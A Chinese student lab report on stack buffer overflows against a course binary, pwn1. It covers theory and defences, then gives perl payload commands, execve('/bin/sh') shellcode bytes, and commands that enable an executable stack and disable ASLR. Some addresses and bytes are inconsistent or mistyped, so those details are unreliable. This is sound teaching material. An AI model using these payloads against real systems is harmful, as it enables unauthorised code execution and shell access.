20212931 2021-2022-2 《网络攻防实践》第九次实验任务
一、实践内容
(一)基础知识
软件安全漏洞威胁
- 定义:在系统安全流程、设计、实现或内部控制中所存在的缺陷或弱点,能够被攻击者所利用并导致安全侵害或对系统安全策略的违反。包括三个基本元素:系统的脆弱性或缺陷、攻击者对缺陷的可访问性、攻击者对缺陷的可利用性。
- 分类:
内存安全违规类:在软件开发过程中在处理RAM内存访问时所引入的安全缺陷,缓冲区溢出漏洞是一种最基础的内存安全问题。
输入验证类:软件程序在对用户输入进行数据验证存在的错误,没有保证输入数据的正确性、合法性和安全性,从而导致可能被恶意攻击与利用。如XSS、SQL注入、远程文件包含、HTTP Header注入等。
竞争条件类:系统或进程中一类比较特殊的错误,通常在涉及多进程或多线程处理的程序中出现,是指处理进程的输出或结果无法预测,并依赖于其他进程事件发生的次序或时间时,所导致的错误。
权限混淆与提升类:计算机程序由于自身编程疏忽或被第三方欺骗,从而滥用其权限,或赋予第三方不该给予的权限。如跨站请求伪造、FTP反弹攻击、权限提升、“越狱"等。
汇编语言基础
- 寄存器
| 寄存器名 | 说明 | 功能 |
| ------- | --------- | -------------------------- |
| eax | 累加器 | 加法乘法指令的缺省寄存器, 函数返回值 |
| ecx | 计数器 | REP & LOOP指令的内定计数器 |
| edx | 除法寄存器 | 存放整数除法产生的余数 |
| ebx | 基址寄存器 | 在内存寻址时存放基地址 |
| esp | 栈顶指针寄存器 | 当前堆栈的栈顶指针 |
| ebp | 栈底指针寄存器 | 当前堆栈的栈底指针 |
| esi、dei | 源、目标索引寄存器 | 在字符串操作指令中,ESI指向源串,EDI指向目标串 |
| eip | 指令寄存器 | 指向下一条指令的地址 | - 函数调用:
调用(call):调用参数和返回地址(eip)压栈,跳转到函数入口。
序言(prologue):调用函数的栈基址进行压栈保存,并创建自身函数的栈结构。
返回(return):恢复调用者原有栈,弹出返回地址,继续执行下一条指令。
缓冲区溢出
- 定义:缓冲区溢出是计算机程序中存在的一类内存安全违规类漏洞,在计算机程序向特定缓冲区内填充数据时,超出了缓冲区本身的容量,导致外溢数据覆盖了相邻内存空间的合法数据,从而改变程序执行流程破坏系统运行完整性。
- 本质原因:
缺乏缓冲区边界保护(C/C++语言程序:效率优先、memcpy()、strcpy()等内存与字符串拷贝 函数并不检查内存越界问题、程序员缺乏安全编程意识、经验与技巧)。
冯·诺依曼体系存在本质安全缺陷,计算机程序的数据和指令都在同一内存中进行存储,而没有严格的分离。 - 缓冲区溢出攻击原理
根本问题:用户输入可控制的缓冲区操作缺乏对目标缓冲区的边界安全保护。
成功溢出攻击的三个挑战:如何找出缓冲区溢出要覆盖和修改的敏感位置? 将敏感位置的值修改成什么?执行什么代码指令来达到攻击目的?
类型:栈溢出、堆溢出、内核溢出。
缓冲区溢出的主要点在于数据的淹没,即超过缓冲区区域的高地址部分数据会淹没原本的其他栈数据。
淹没了其他的局部变量:如果被淹没的局部变量是条件变量,那么可能会改变函数原本的执行流程。这种方式可以用于破解简单的软件验证。
淹没了ebp的值:修改了函数执行结束后要恢复的栈指针,将会导致栈帧失去平衡。
淹没了返回地址:这是栈溢出原理的核心所在,通过淹没的方式修改函数的返回地址,使程序代码执行“意外”的流程。
淹没参数变量:修改函数的参数变量也可能改变当前函数的执行结果和流程。
淹没上级函数的栈帧:情况与上述4点类似,只不过影响的是上级函数的执行。当然这里的前提是保证函数能正常返回,即函数地址不能被随意修改。
Linux栈溢出与Shellcode
- Linux本地缓冲区溢出的特权提升:
运行时刻可以提升至根用户权限进行一些操作。
攻击者就可以在注入shellcode中增加一个setreuid(0)的系统调用。
给出根用户权限的Shell。 - Linux远程缓冲区溢出:远程缓冲区溢出与本地缓冲区溢出比较:原理一致。用户输入传递途径区别:远程缓冲区溢出采用网络而本地缓冲区溢出命令行/文件的方式。Shellcode编写区别:远程缓冲区溢出采用远程shell访问而本地缓冲区溢出是本地特权提升。
- Linux远程shellcode实现机制:这里其实就是创建socket连接,并将shellcode通过socket注入,同时需要将命令行与socket绑定。
- Shellcode通用的编写方法
先用高级编程语言,通常用C,来编写shellcode程序。
编译并反汇编调试这个shellcode程序。
从汇编语言代码级别分析程序执行流程。
整理生成的汇编代码,尽量减小它的体积并使它可注入,并可通过嵌入C语言进行运行测试和调试。
提取汇编代码所对应的opcode二进制指令(操作码,每个设备处理单元上的执行的指令),创建shellcode指令数组。 - 三个模式:
NSR模式:最经典的方法,漏洞程序有足够大的缓冲区。
适用范围:被溢出的缓冲区变量比较大,足以容纳Shellcode。填充方式是从低地址到高地址的构造一堆Nop指令之后填充shellcode,再加上一些期望覆盖RET返回地址的跳转地址,从而构成了NSR攻击数据缓冲区。
RNS模式:能够适合小缓冲区情况,更容易计算返回地址。
适用范围:被溢出的变量比较小,不足于容纳Shellcode的情况。填充方式是从低地址到高地址首先填充一些期望覆盖RET返回地址的跳转地址,然后是一堆Nop指令填充出“着陆区”,最后再是Shellcode。解释一下着陆区,或者叫做滑行区,这是非常形象的,Nop指令一是为了填充,二是为了让程序返回地址只要落在任何一个Nop上,自然会滑到我们的shellcode。
R.S模式:精确计算shellcode地址, 不需要任何NOP,但对远程缓冲区溢出攻击不适用。
适用范围:精确地定位出shellcode在目标漏洞程序进程空间中的起始地址,因此也就无需引入Nop空指令构建着陆区。将Shellcode放置在目标漏洞程序执行时的环境变量中,由于环境变量是位于Linux进程空间的栈底位置,因而不会受到各种变量内存分配与对齐因素的影响,其位置是固定的,可以通过如下公式进行计算:ret=0xc0000000−sizeof(void∗)−sizeof(filename)−sizeof(shellcode)。
- 缓冲区溢出攻击的防御技术
人
注重软件产品安全性,建立安全意识。
提高软件开发人员安全意识、主动安全性的一些措施。
把安全问题写进企业的规章制度。
效果、效果、效果:量化安防风险,衡量安全性改进过程。
责任:安全责任模型,产品开发团队承担起大部分责任。
建立一整套开发流程,必须包括安全监督员、代码审查、产品安全性测试等。
技术
尝试杜绝溢出的防御技术,编写正确代码、查错: Fuzz注入测试、编译器引入缓冲区边界保护检查。
允许溢出但不让程序改变执行流程的防御技术StackGuard: 返回地址前添加检测标记,返回前检查。
VS栈保护编译选项。
gcc: -fstack-protector。
(二)实践内容
> 本次实践的对象是一个名为pwn1的linux可执行文件。
> 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
> 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
- 三个实践内容如下:
(1)手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
(2)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
(3)注入一个自己制作的shellcode并运行这段shellcode。
二、实践过程
(一)手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
- 确定程序内部函数构造
首先使用IDA打开程序,发现其主函数仅执行了foo函数
但函数列表内有一个getshell的目标函数,内部存在"/bin/sh"命令字样,应该是目标函数,记录其地址0x080487d
- 反汇编修改
因为是IDA的free,所以没办法直接反汇编。在kali下使用objdump -d pwn1 | more对pwn1文件进行反汇编:
main函数中,执行到call语句,转到foo函数,这时EIP指向为0x08048ba + 0xffffffd7 = 0x08048491,其中0xffffffd7为偏移量,想要转到之前记录的地址0x080487d,可计算偏移量应为0xffffffc3
用vim打开pwn1,注意乱码正常,要转化16进制(进入后输入:%!xxd)
寻找之前的偏移量位置,/d7ff
按i进入编辑模式,修改值为c3,然后转换保存
再次反汇编,确定修改
执行,运行成功
(二)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
- 检测BOF漏洞
检查pwn1中的foo函数,可以发现该函数并没有检查输入长度,预留空间长度为0x38,而gets函数则将字符串存储至0x1c处,我们便可以知道,当字符串长度超过36,33~36字节会覆盖EIP中
使用gdb对pwn1调试,输入r使程序运行,输入长度为40的字符串“1234567890123456789012345678901234567890”,程序出错
使用info r命令查看寄存器数值,验证推测
- 推测正确,接下来便需要将33~36字节设定为getshell的入口地址。
适用命令perl -e 'print "12345678901234567890123456789012\x7d\x84\x04\x08\x0a"' > input生成十六进制字符串文件“input”,使用xxd命令验证一下生成的文件
然后用(cat input; cat) | ./pwn1命令将input作为pwn1的输入:
(三)注入一个自己制作的shellcode并运行这段shellcode
- 前期准备
execstack -s pwn3 //设置堆栈可执行
execstack -q pwn3 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
- 构造要注入的shellcode
Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode(恶意代码小于缓冲区大小)
nop+shellcode+retaddr(恶意代码大于缓冲区大小)
这里采用retaddr+nop+shellcode,使用的shellcode为\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
。 - 确定retaddr的值
构造十六进制的37个字节的输入串:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
将其作为输入运行pwn1
使用ps -ef | grep pwn1找到对应的进程号
根据进程号在gdb中对其调试:用disassemble foo对foo进行反汇编
设置断点位置,断点应该在ret语句之前,否则foo函数返回前会POP EIP,即break *0x080484ae
使用c设置为断点后继续运行(注意需要回车)
查看ESP地址
输入 x/16x 0xffffd13c 命令查看其存放内容0x01020304 就是返回地址的位置。根据我们构造的input_shellcode可知地址应为 0xffffd140
- 构造shellcode:32个1+retaddr+nop+shellcode,
\x40\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\0x00
,将其作为pwn1的输入,运行pwn1:
三、实验中遇到的问题
-
- Kali中安装execstack无法定位到软件包
- 解决方法:问题原因在源上,新源大多没有这个软件包,需要old源
-
- 恶意代码与缓冲区的大小比较
- 解决方法:这个问题需要根据具体情况判断,例如本次实验中,根据采用的函数和汇编语言中寄存器的地址位置,即可判断缓冲区大小
四、实验感悟
在本次实验中,实现了手工修改可执行文件,改变程序执行流程;利用了foo函数的Bof漏洞,构造一个攻击输入字符串,触发getShell函数以及注入一个自己制作的shellcode并运行这段shellcode。本次实验让我感觉难度颇大,对汇编语言、机器指令和栈帧的相关知识的理解让我倍感吃力,但却也收获不少,加深了对系统和程序底层运行的理解,完成实验参考了不少内容,但仍感觉在这块的学习之路很漫长。